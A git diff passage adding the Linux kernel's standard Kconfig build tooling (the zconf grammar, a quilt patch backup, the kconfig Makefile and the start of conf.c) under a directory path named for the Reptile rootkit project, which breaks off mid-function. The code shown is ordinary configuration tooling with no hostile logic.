printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), $2); +}; + +config_stmt: config_entry_start config_option_list +{ + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +}; + +menuconfig_entry_start: T_MENUCONFIG T_WORD T_EOL +{ + struct symbol *sym = sym_lookup($2, 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), $2); +}; + +menuconfig_stmt: menuconfig_entry_start config_option_list +{ + if (current_entry->prompt) + current_entry->prompt->type = P_MENU; + else + zconfprint("warning: menuconfig statement without prompt"); + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +}; + +config_option_list: + /* empty */ + | config_option_list config_option + | config_option_list symbol_option + | config_option_list depends + | config_option_list help + | config_option_list option_error + | config_option_list T_EOL +; + +config_option: T_TYPE prompt_stmt_opt T_EOL +{ + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); +}; + +config_option: T_PROMPT prompt if_expr T_EOL +{ + menu_add_prompt(P_PROMPT, $2, $3); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +}; + +config_option: T_DEFAULT expr if_expr T_EOL +{ + menu_add_expr(P_DEFAULT, $2, $3); + if ($1->stype != S_UNKNOWN) + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:default(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); +}; + +config_option: T_SELECT T_WORD if_expr T_EOL +{ + menu_add_symbol(P_SELECT, sym_lookup($2, 0), $3); + printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno()); +}; + +config_option: T_RANGE symbol symbol if_expr T_EOL +{ + menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,$2, $3), $4); + printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno()); +}; + +symbol_option: T_OPTION symbol_option_list T_EOL +; + +symbol_option_list: + /* empty */ + | symbol_option_list T_WORD symbol_option_arg +{ + const struct kconf_id *id = kconf_id_lookup($2, strlen($2)); + if (id && id->flags & TF_OPTION) + menu_add_option(id->token, $3); + else + zconfprint("warning: ignoring unknown option %s", $2); + free($2); +}; + +symbol_option_arg: + /* empty */ { $$ = NULL; } + | T_EQUAL prompt { $$ = $2; } +; + +/* choice entry */ + +choice: T_CHOICE word_opt T_EOL +{ + struct symbol *sym = sym_lookup($2, SYMBOL_CHOICE); + sym->flags |= SYMBOL_AUTO; + menu_add_entry(sym); + menu_add_expr(P_CHOICE, NULL, NULL); + printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno()); +}; + +choice_entry: choice choice_option_list +{ + $$ = menu_add_menu(); +}; + +choice_end: end +{ + if (zconf_endtoken($1, T_CHOICE, T_ENDCHOICE)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno()); + } +}; + +choice_stmt: choice_entry choice_block choice_end +; + +choice_option_list: + /* empty */ + | choice_option_list choice_option + | choice_option_list depends + | choice_option_list help + | choice_option_list T_EOL + | choice_option_list option_error +; + +choice_option: T_PROMPT prompt if_expr T_EOL +{ + menu_add_prompt(P_PROMPT, $2, $3); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +}; + +choice_option: T_TYPE prompt_stmt_opt T_EOL +{ + if ($1->stype == S_BOOLEAN || $1->stype == S_TRISTATE) { + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); + } else + YYERROR; +}; + +choice_option: T_OPTIONAL T_EOL +{ + current_entry->sym->flags |= SYMBOL_OPTIONAL; + printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno()); +}; + +choice_option: T_DEFAULT T_WORD if_expr T_EOL +{ + if ($1->stype == S_UNKNOWN) { + menu_add_symbol(P_DEFAULT, sym_lookup($2, 0), $3); + printd(DEBUG_PARSE, "%s:%d:default\n", + zconf_curname(), zconf_lineno()); + } else + YYERROR; +}; + +choice_block: + /* empty */ + | choice_block common_stmt +; + +/* if entry */ + +if_entry: T_IF expr nl +{ + printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno()); + menu_add_entry(NULL); + menu_add_dep($2); + $$ = menu_add_menu(); +}; + +if_end: end +{ + if (zconf_endtoken($1, T_IF, T_ENDIF)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno()); + } +}; + +if_stmt: if_entry if_block if_end +; + +if_block: + /* empty */ + | if_block common_stmt + | if_block menu_stmt + | if_block choice_stmt +; + +/* mainmenu entry */ + +mainmenu_stmt: T_MAINMENU prompt nl +{ + menu_add_prompt(P_MENU, $2, NULL); +}; + +/* menu entry */ + +menu: T_MENU prompt T_EOL +{ + menu_add_entry(NULL); + menu_add_prompt(P_MENU, $2, NULL); + printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno()); +}; + +menu_entry: menu visibility_list depends_list +{ + $$ = menu_add_menu(); +}; + +menu_end: end +{ + if (zconf_endtoken($1, T_MENU, T_ENDMENU)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno()); + } +}; + +menu_stmt: menu_entry menu_block menu_end +; + +menu_block: + /* empty */ + | menu_block common_stmt + | menu_block menu_stmt + | menu_block choice_stmt +; + +source_stmt: T_SOURCE prompt T_EOL +{ + printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), $2); + zconf_nextfile($2); +}; + +/* comment entry */ + +comment: T_COMMENT prompt T_EOL +{ + menu_add_entry(NULL); + menu_add_prompt(P_COMMENT, $2, NULL); + printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno()); +}; + +comment_stmt: comment depends_list +{ + menu_end_entry(); +}; + +/* help option */ + +help_start: T_HELP T_EOL +{ + printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno()); + zconf_starthelp(); +}; + +help: help_start T_HELPTEXT +{ + current_entry->help = $2; +}; + +/* depends option */ + +depends_list: + /* empty */ + | depends_list depends + | depends_list T_EOL + | depends_list option_error +; + +depends: T_DEPENDS T_ON expr T_EOL +{ + menu_add_dep($3); + printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno()); +}; + +/* visibility option */ + +visibility_list: + /* empty */ + | visibility_list visible + | visibility_list T_EOL +; + +visible: T_VISIBLE if_expr +{ + menu_add_visibility($2); +}; + +/* prompt statement */ + +prompt_stmt_opt: + /* empty */ + | prompt if_expr +{ + menu_add_prompt(P_PROMPT, $1, $2); +}; + +prompt: T_WORD + | T_WORD_QUOTE +; + +end: T_ENDMENU T_EOL { $$ = $1; } + | T_ENDCHOICE T_EOL { $$ = $1; } + | T_ENDIF T_EOL { $$ = $1; } +; + +nl: + T_EOL + | nl T_EOL +; + +if_expr: /* empty */ { $$ = NULL; } + | T_IF expr { $$ = $2; } +; + +expr: symbol { $$ = expr_alloc_symbol($1); } + | symbol T_EQUAL symbol { $$ = expr_alloc_comp(E_EQUAL, $1, $3); } + | symbol T_UNEQUAL symbol { $$ = expr_alloc_comp(E_UNEQUAL, $1, $3); } + | T_OPEN_PAREN expr T_CLOSE_PAREN { $$ = $2; } + | T_NOT expr { $$ = expr_alloc_one(E_NOT, $2); } + | expr T_OR expr { $$ = expr_alloc_two(E_OR, $1, $3); } + | expr T_AND expr { $$ = expr_alloc_two(E_AND, $1, $3); } +; + +symbol: T_WORD { $$ = sym_lookup($1, 0); free($1); } + | T_WORD_QUOTE { $$ = sym_lookup($1, SYMBOL_CONST); free($1); } +; + +word_opt: /* empty */ { $$ = NULL; } + | T_WORD + +%% + +void conf_parse(const char *name) +{ + struct symbol *sym; + int i; + + zconf_initscan(name); + + sym_init(); + _menu_init(); + rootmenu.prompt = menu_add_prompt(P_MENU, "Linux Kernel Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; + zconfparse(); + if (zconfnerrs) + exit(1); + if (!modules_sym) + modules_sym = sym_find( "n" ); + + rootmenu.prompt->text = _(rootmenu.prompt->text); + rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text); + + menu_finalize(&rootmenu); + for_all_symbols(i, sym) { + if (sym_check_deps(sym)) + zconfnerrs++; + } + if (zconfnerrs) + exit(1); + sym_set_change_count(1); +} + +static const char *zconf_tokenname(int token) +{ + switch (token) { + case T_MENU: return "menu"; + case T_ENDMENU: return "endmenu"; + case T_CHOICE: return "choice"; + case T_ENDCHOICE: return "endchoice"; + case T_IF: return "if"; + case T_ENDIF: return "endif"; + case T_DEPENDS: return "depends"; + case T_VISIBLE: return "visible"; + } + return ""; +} + +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken) +{ + if (id->token != endtoken) { + zconf_error("unexpected '%s' within %s block", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + if (current_menu->file != current_file) { + zconf_error("'%s' in different file than '%s'", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + fprintf(stderr, "%s:%d: location of the '%s'\n", + current_menu->file->name, current_menu->lineno, + zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + return true; +} + +static void zconfprint(const char *err, ...) +{ + va_list ap; + + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconf_error(const char *err, ...) +{ + va_list ap; + + zconfnerrs++; + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconferror(const char *err) +{ + fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err); +} + +static void print_quoted_string(FILE *out, const char *str) +{ + const char *p; + int len; + + putc('"', out); + while ((p = strchr(str, '"'))) { + len = p - str; + if (len) + fprintf(out, "%.*s", len, str); + fputs("\\\"", out); + str = p + 1; + } + fputs(str, out); + putc('"', out); +} + +static void print_symbol(FILE *out, struct menu *menu) +{ + struct symbol *sym = menu->sym; + struct property *prop; + + if (sym_is_choice(sym)) + fprintf(out, "\nchoice\n"); + else + fprintf(out, "\nconfig %s\n", sym->name); + switch (sym->type) { + case S_BOOLEAN: + fputs(" boolean\n", out); + break; + case S_TRISTATE: + fputs(" tristate\n", out); + break; + case S_STRING: + fputs(" string\n", out); + break; + case S_INT: + fputs(" integer\n", out); + break; + case S_HEX: + fputs(" hex\n", out); + break; + default: + fputs(" ???\n", out); + break; + } + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + switch (prop->type) { + case P_PROMPT: + fputs(" prompt ", out); + print_quoted_string(out, prop->text); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_DEFAULT: + fputs( " default ", out); + expr_fprint(prop->expr, out); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_CHOICE: + fputs(" #choice value\n", out); + break; + case P_SELECT: + fputs( " select ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_RANGE: + fputs( " range ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_MENU: + fputs( " menu ", out); + print_quoted_string(out, prop->text); + fputc('\n', out); + break; + default: + fprintf(out, " unknown prop %d!\n", prop->type); + break; + } + } + if (menu->help) { + int len = strlen(menu->help); + while (menu->help[--len] == '\n') + menu->help[len] = 0; + fprintf(out, " help\n%s\n", menu->help); + } +} + +void zconfdump(FILE *out) +{ + struct property *prop; + struct symbol *sym; + struct menu *menu; + + menu = rootmenu.list; + while (menu) { + if ((sym = menu->sym)) + print_symbol(out, menu); + else if ((prop = menu->prompt)) { + switch (prop->type) { + case P_COMMENT: + fputs("\ncomment ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + case P_MENU: + fputs("\nmenu ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + default: + ; + } + if (!expr_is_yes(prop->visible.expr)) { + fputs(" depends ", out); + expr_fprint(prop->visible.expr, out); + fputc('\n', out); + } + } + + if (menu->list) + menu = menu->list; + else if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->prompt && menu->prompt->type == P_MENU) + fputs("\nendmenu\n", out); + if (menu->next) { + menu = menu->next; + break; + } + } + } +} + +#include "zconf.lex.c" +#include "util.c" +#include "confdata.c" +#include "expr.c" +#include "symbol.c" +#include "menu.c" diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/Makefile.br b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/Makefile.br new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/foo.h b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/foo.h new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/Makefile b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/Makefile new file mode 100644 index 0000000..18278f8 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/Makefile @@ -0,0 +1,319 @@ +# =========================================================================== +# Kernel configuration targets +# These targets are used from top-level makefile + +PHONY += oldconfig xconfig gconfig menuconfig config silentoldconfig update-po-config \ + localmodconfig localyesconfig + +ifdef KBUILD_KCONFIG +Kconfig := $(KBUILD_KCONFIG) +else +Kconfig := Kconfig +endif + +# We need this, in case the user has it in its environment +unexport CONFIG_ + +xconfig: $(obj)/qconf + $< $(Kconfig) + +gconfig: $(obj)/gconf + $< $(Kconfig) + +menuconfig: $(obj)/mconf + $< $(Kconfig) + +config: $(obj)/conf + $< --oldaskconfig $(Kconfig) + +nconfig: $(obj)/nconf + $< $(Kconfig) + +oldconfig: $(obj)/conf + $< --$@ $(Kconfig) + +silentoldconfig: $(obj)/conf + $(Q)mkdir -p include/generated + $< --$@ $(Kconfig) + +localyesconfig localmodconfig: $(obj)/streamline_config.pl $(obj)/conf + $(Q)mkdir -p include/generated + $(Q)perl $< --$@ $(srctree) $(Kconfig) > .tmp.config + $(Q)if [ -f .config ]; then \ + cmp -s .tmp.config .config || \ + (mv -f .config .config.old.1; \ + mv -f .tmp.config .config; \ + $(obj)/conf --silentoldconfig $(Kconfig); \ + mv -f .config.old.1 .config.old) \ + else \ + mv -f .tmp.config .config; \ + $(obj)/conf --silentoldconfig $(Kconfig); \ + fi + $(Q)rm -f .tmp.config + +# Create new linux.pot file +# Adjust charset to UTF-8 in .po file to accept UTF-8 in Kconfig files +update-po-config: $(obj)/kxgettext $(obj)/gconf.glade.h + $(Q)echo " GEN config.pot" + $(Q)xgettext --default-domain=linux \ + --add-comments --keyword=_ --keyword=N_ \ + --from-code=UTF-8 \ + --files-from=$(srctree)/scripts/kconfig/POTFILES.in \ + --directory=$(srctree) --directory=$(objtree) \ + --output $(obj)/config.pot + $(Q)sed -i s/CHARSET/UTF-8/ $(obj)/config.pot + $(Q)(for i in `ls $(srctree)/arch/*/Kconfig \ + $(srctree)/arch/*/um/Kconfig`; \ + do \ + echo " GEN $$i"; \ + $(obj)/kxgettext $$i \ + >> $(obj)/config.pot; \ + done ) + $(Q)echo " GEN linux.pot" + $(Q)msguniq --sort-by-file --to-code=UTF-8 $(obj)/config.pot \ + --output $(obj)/linux.pot + $(Q)rm -f $(obj)/config.pot + +PHONY += allnoconfig allyesconfig allmodconfig alldefconfig randconfig + +allnoconfig allyesconfig allmodconfig alldefconfig randconfig: $(obj)/conf + $< --$@ $(Kconfig) + +PHONY += listnewconfig olddefconfig oldnoconfig savedefconfig defconfig + +listnewconfig olddefconfig: $(obj)/conf + $< --$@ $(Kconfig) + +# oldnoconfig is an alias of olddefconfig, because people already are dependent +# on its behavior(sets new symbols to their default value but not 'n') with the +# counter-intuitive name. +oldnoconfig: $(obj)/conf + $< --olddefconfig $(Kconfig) + +savedefconfig: $(obj)/conf + $< --$@=defconfig $(Kconfig) + +defconfig: $(obj)/conf +ifeq ($(KBUILD_DEFCONFIG),) + $< --defconfig $(Kconfig) +else + @echo "*** Default configuration is based on '$(KBUILD_DEFCONFIG)'" + $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$(KBUILD_DEFCONFIG) $(Kconfig) +endif + +%_defconfig: $(obj)/conf + $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$@ $(Kconfig) + +# Help text used by make help +help: + @echo ' config - Update current config utilising a line-oriented program' + @echo ' nconfig - Update current config utilising a ncurses menu based program' + @echo ' menuconfig - Update current config utilising a menu based program' + @echo ' xconfig - Update current config utilising a QT based front-end' + @echo ' gconfig - Update current config utilising a GTK based front-end' + @echo ' oldconfig - Update current config utilising a provided .config as base' + @echo ' localmodconfig - Update current config disabling modules not loaded' + @echo ' localyesconfig - Update current config converting local mods to core' + @echo ' silentoldconfig - Same as oldconfig, but quietly, additionally update deps' + @echo ' defconfig - New config with default from ARCH supplied defconfig' + @echo ' savedefconfig - Save current config as ./defconfig (minimal config)' + @echo ' allnoconfig - New config where all options are answered with no' + @echo ' allyesconfig - New config where all options are accepted with yes' + @echo ' allmodconfig - New config selecting modules when possible' + @echo ' alldefconfig - New config with all symbols set to default' + @echo ' randconfig - New config with random answer to all options' + @echo ' listnewconfig - List new options' + @echo ' olddefconfig - Same as silentoldconfig but sets new symbols to their default value' + +# lxdialog stuff +check-lxdialog := $(srctree)/$(src)/lxdialog/check-lxdialog.sh + +# Use recursively expanded variables so we do not call gcc unless +# we really need to do so. (Do not call gcc as part of make mrproper) +HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(check-lxdialog) -ccflags) \ + -DLOCALE + +# =========================================================================== +# Shared Makefile for the various kconfig executables: +# conf: Used for defconfig, oldconfig and related targets +# nconf: Used for the nconfig target. +# Utilizes ncurses +# mconf: Used for the menuconfig target +# Utilizes the lxdialog package +# qconf: Used for the xconfig target +# Based on QT which needs to be installed to compile it +# gconf: Used for the gconfig target +# Based on GTK which needs to be installed to compile it +# object files used by all kconfig flavours + +lxdialog := lxdialog/checklist.o lxdialog/util.o lxdialog/inputbox.o +lxdialog += lxdialog/textbox.o lxdialog/yesno.o lxdialog/menubox.o + +conf-objs := conf.o zconf.tab.o +mconf-objs := mconf.o zconf.tab.o $(lxdialog) +nconf-objs := nconf.o zconf.tab.o nconf.gui.o +kxgettext-objs := kxgettext.o zconf.tab.o +qconf-cxxobjs := qconf.o +qconf-objs := zconf.tab.o +gconf-objs := gconf.o zconf.tab.o + +hostprogs-y := conf + +ifeq ($(MAKECMDGOALS),nconfig) + hostprogs-y += nconf +endif + +ifeq ($(MAKECMDGOALS),menuconfig) + hostprogs-y += mconf +endif + +ifeq ($(MAKECMDGOALS),update-po-config) + hostprogs-y += kxgettext +endif + +ifeq ($(MAKECMDGOALS),xconfig) + qconf-target := 1 +endif +ifeq ($(MAKECMDGOALS),gconfig) + gconf-target := 1 +endif + + +ifeq ($(qconf-target),1) + hostprogs-y += qconf +endif + +ifeq ($(gconf-target),1) + hostprogs-y += gconf +endif + +clean-files := qconf.moc .tmp_qtcheck .tmp_gtkcheck +clean-files += zconf.tab.c zconf.lex.c zconf.hash.c gconf.glade.h +clean-files += mconf qconf gconf nconf +clean-files += config.pot linux.pot + +# Check that we have the required ncurses stuff installed for lxdialog (menuconfig) +PHONY += $(obj)/dochecklxdialog +$(addprefix $(obj)/,$(lxdialog)): $(obj)/dochecklxdialog +$(obj)/dochecklxdialog: + $(Q)$(CONFIG_SHELL) $(check-lxdialog) -check $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTLOADLIBES_mconf) + +always := dochecklxdialog + +# Add environment specific flags +HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(srctree)/$(src)/check.sh $(HOSTCC) $(HOSTCFLAGS)) + +# generated files seem to need this to find local include files +HOSTCFLAGS_zconf.lex.o := -I$(src) +HOSTCFLAGS_zconf.tab.o := -I$(src) + +LEX_PREFIX_zconf := zconf +YACC_PREFIX_zconf := zconf + +HOSTLOADLIBES_qconf = $(KC_QT_LIBS) +HOSTCXXFLAGS_qconf.o = $(KC_QT_CFLAGS) + +HOSTLOADLIBES_gconf = `pkg-config --libs gtk+-2.0 gmodule-2.0 libglade-2.0` +HOSTCFLAGS_gconf.o = `pkg-config --cflags gtk+-2.0 gmodule-2.0 libglade-2.0` \ + -Wno-missing-prototypes + +HOSTLOADLIBES_mconf = $(shell $(CONFIG_SHELL) $(check-lxdialog) -ldflags $(HOSTCC)) + +HOSTLOADLIBES_nconf = $(shell \ + pkg-config --libs menu panel ncurses 2>/dev/null \ + || echo "-lmenu -lpanel -lncurses" ) +$(obj)/qconf.o: $(obj)/.tmp_qtcheck + +ifeq ($(qconf-target),1) +$(obj)/.tmp_qtcheck: $(src)/Makefile +-include $(obj)/.tmp_qtcheck + +# QT needs some extra effort... +$(obj)/.tmp_qtcheck: + @set -e; echo " CHECK qt"; dir=""; pkg=""; \ + if ! pkg-config --exists QtCore 2> /dev/null; then \ + echo "* Unable to find the QT4 tool qmake. Trying to use QT3"; \ + pkg-config --exists qt 2> /dev/null && pkg=qt; \ + pkg-config --exists qt-mt 2> /dev/null && pkg=qt-mt; \ + if [ -n "$$pkg" ]; then \ + cflags="\$$(shell pkg-config $$pkg --cflags)"; \ + libs="\$$(shell pkg-config $$pkg --libs)"; \ + moc="\$$(shell pkg-config $$pkg --variable=prefix)/bin/moc"; \ + dir="$$(pkg-config $$pkg --variable=prefix)"; \ + else \ + for d in $$QTDIR /usr/share/qt* /usr/lib/qt*; do \ + if [ -f $$d/include/qconfig.h ]; then dir=$$d; break; fi; \ + done; \ + if [ -z "$$dir" ]; then \ + echo >&2 "*"; \ + echo >&2 "* Unable to find any QT installation. Please make sure that"; \ + echo >&2 "* the QT4 or QT3 development package is correctly installed and"; \ + echo >&2 "* either qmake can be found or install pkg-config or set"; \ + echo >&2 "* the QTDIR environment variable to the correct location."; \ + echo >&2 "*"; \ + false; \ + fi; \ + libpath=$$dir/lib; lib=qt; osdir=""; \ + $(HOSTCXX) -print-multi-os-directory > /dev/null 2>&1 && \ + osdir=x$$($(HOSTCXX) -print-multi-os-directory); \ + test -d $$libpath/$$osdir && libpath=$$libpath/$$osdir; \ + test -f $$libpath/libqt-mt.so && lib=qt-mt; \ + cflags="-I$$dir/include"; \ + libs="-L$$libpath -Wl,-rpath,$$libpath -l$$lib"; \ + moc="$$dir/bin/moc"; \ + fi; \ + if [ ! -x $$dir/bin/moc -a -x /usr/bin/moc ]; then \ + echo "*"; \ + echo "* Unable to find $$dir/bin/moc, using /usr/bin/moc instead."; \ + echo "*"; \ + moc="/usr/bin/moc"; \ + fi; \ + else \ + cflags="\$$(shell pkg-config QtCore QtGui Qt3Support --cflags)"; \ + libs="\$$(shell pkg-config QtCore QtGui Qt3Support --libs)"; \ + moc="\$$(shell pkg-config QtCore --variable=moc_location)"; \ + [ -n "$$moc" ] || moc="\$$(shell pkg-config QtCore --variable=prefix)/bin/moc"; \ + fi; \ + echo "KC_QT_CFLAGS=$$cflags" > $@; \ + echo "KC_QT_LIBS=$$libs" >> $@; \ + echo "KC_QT_MOC=$$moc" >> $@ +endif + +$(obj)/gconf.o: $(obj)/.tmp_gtkcheck + +ifeq ($(gconf-target),1) +-include $(obj)/.tmp_gtkcheck + +# GTK needs some extra effort, too... +$(obj)/.tmp_gtkcheck: + @if `pkg-config --exists gtk+-2.0 gmodule-2.0 libglade-2.0`; then \ + if `pkg-config --atleast-version=2.0.0 gtk+-2.0`; then \ + touch $@; \ + else \ + echo >&2 "*"; \ + echo >&2 "* GTK+ is present but version >= 2.0.0 is required."; \ + echo >&2 "*"; \ + false; \ + fi \ + else \ + echo >&2 "*"; \ + echo >&2 "* Unable to find the GTK+ installation. Please make sure that"; \ + echo >&2 "* the GTK+ 2.0 development package is correctly installed..."; \ + echo >&2 "* You need gtk+-2.0, glib-2.0 and libglade-2.0."; \ + echo >&2 "*"; \ + false; \ + fi +endif + +$(obj)/zconf.tab.o: $(obj)/zconf.lex.c $(obj)/zconf.hash.c + +$(obj)/qconf.o: $(obj)/qconf.moc + +$(obj)/%.moc: $(src)/%.h $(obj)/.tmp_qtcheck + $(KC_QT_MOC) -i $< -o $@ + +# Extract gconf menu items for I18N support +$(obj)/gconf.glade.h: $(obj)/gconf.glade + $(Q)intltool-extract --type=gettext/glade --srcdir=$(srctree) \ + $(obj)/gconf.glade + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/conf.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/conf.c new file mode 100644 index 0000000..553fc76 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/conf.c @@ -0,0 +1,717 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf(struct menu *menu); +static void check_conf(struct menu *menu); +static void xfgets(char *str, int size, FILE *in); + +enum input_mode { + oldaskconfig, + silentoldconfig, + oldconfig, + allnoconfig, + allyesconfig, + allmodconfig, + alldefconfig, + randconfig, + defconfig, + savedefconfig, + listnewconfig, + olddefconfig, +} input_mode = oldaskconfig; + +static int indent = 1; +static int tty_stdio; +static int valid_stdin = 1; +static int sync_kconfig; +static int conf_cnt; +static char line[128]; +static struct menu *rootEntry; + +static void print_help(struct menu *menu) +{ + struct gstr help = str_new(); + + menu_get_ext_help(menu, &help); + + printf("\n%s\n", str_get(&help)); + str_free(&help); +} + +static void strip(char *str) +{ + char *p = str; + int l; + + while ((isspace(*p))) + p++; + l = strlen(p); + if (p != str) + memmove(str, p, l + 1); + if (!l) + return; + p = str + l - 1; + while ((isspace(*p))) + *p-- = 0; +} + +static void check_stdin(void) +{ + if (!valid_stdin) { + printf(_("aborted!\n\n")); + printf(_("Console input/output is redirected. ")); + printf(_("Run 'make oldconfig' to update configuration.\n\n")); + exit(1); + } +} + +static int conf_askvalue(struct symbol *sym, const char *def) +{ + enum symbol_type type = sym_get_type(sym); + + if (!sym_has_value(sym)) + printf(_("(NEW) ")); + + line[0] = '\n'; + line[1] = 0; + + if (!sym_is_changable(sym)) { + printf("%s\n", def); + line[0] = '\n'; + line[1] = 0; + return 0; + } + + switch (input_mode) { + case oldconfig: + case silentoldconfig: + if (sym_has_value(sym)) { + printf("%s\n", def); + return 0; + } + check_stdin(); + /* fall through */ + case oldaskconfig: + fflush(stdout); + xfgets(line, 128, stdin); + if (!tty_stdio) + printf("\n"); + return 1; + default: + break; + } + + switch (type) { + case S_INT: + case S_HEX: + case S_STRING: + printf("%s\n", def); + return 1; + default: + ; + } + printf("%s", line); + return 1; +} + +static int conf_string(struct menu *menu) +{ + struct symbol *sym = menu->sym; + const char *def; + + while (1) { + printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); + printf("(%s) ", sym->name); + def = sym_get_string_value(sym); + if (sym_get_string_value(sym)) + printf("[%s] ", def); + if (!conf_askvalue(sym, def)) + return 0; + switch (line[0]) { + case '\n': + break; + case '?': + /* print help */ + if (line[1] == '\n') { + print_help(menu); + def = NULL; + break; + } + /* fall through */ + default: + line[strlen(line)-1] = 0; + def = line; + } + if (def && sym_set_string_value(sym, def)) + return 0; + } +} + +static int conf_sym(struct menu *menu) +{ + struct symbol *sym = menu->sym; + tristate oldval, newval; + + while (1) { + printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); + if (sym->name) + printf("(%s) ", sym->name); + putchar('['); + oldval = sym_get_tristate_value(sym); + switch (oldval) { + case no: + putchar('N'); + break; + case mod: + putchar('M'); + break; + case yes: + putchar('Y'); + break; + } + if (oldval != no && sym_tristate_within_range(sym, no)) + printf("/n"); + if (oldval != mod && sym_tristate_within_range(sym, mod)) + printf("/m"); + if (oldval != yes && sym_tristate_within_range(sym, yes)) + printf("/y"); + if (menu_has_help(menu)) + printf("/?"); + printf("] "); + if (!conf_askvalue(sym, sym_get_string_value(sym))) + return 0; + strip(line); + + switch (line[0]) { + case 'n': + case 'N': + newval = no; + if (!line[1] || !strcmp(&line[1], "o")) + break; + continue; + case 'm': + case 'M': + newval = mod; + if (!line[1]) + break; + continue; + case 'y': + case 'Y': + newval = yes; + if (!line[1] || !strcmp(&line[1], "es")) + break; + continue; + case 0: + newval = oldval; + break; + case '?': + goto help; + default: + continue; + } + if (sym_set_tristate_value(sym, newval)) + return 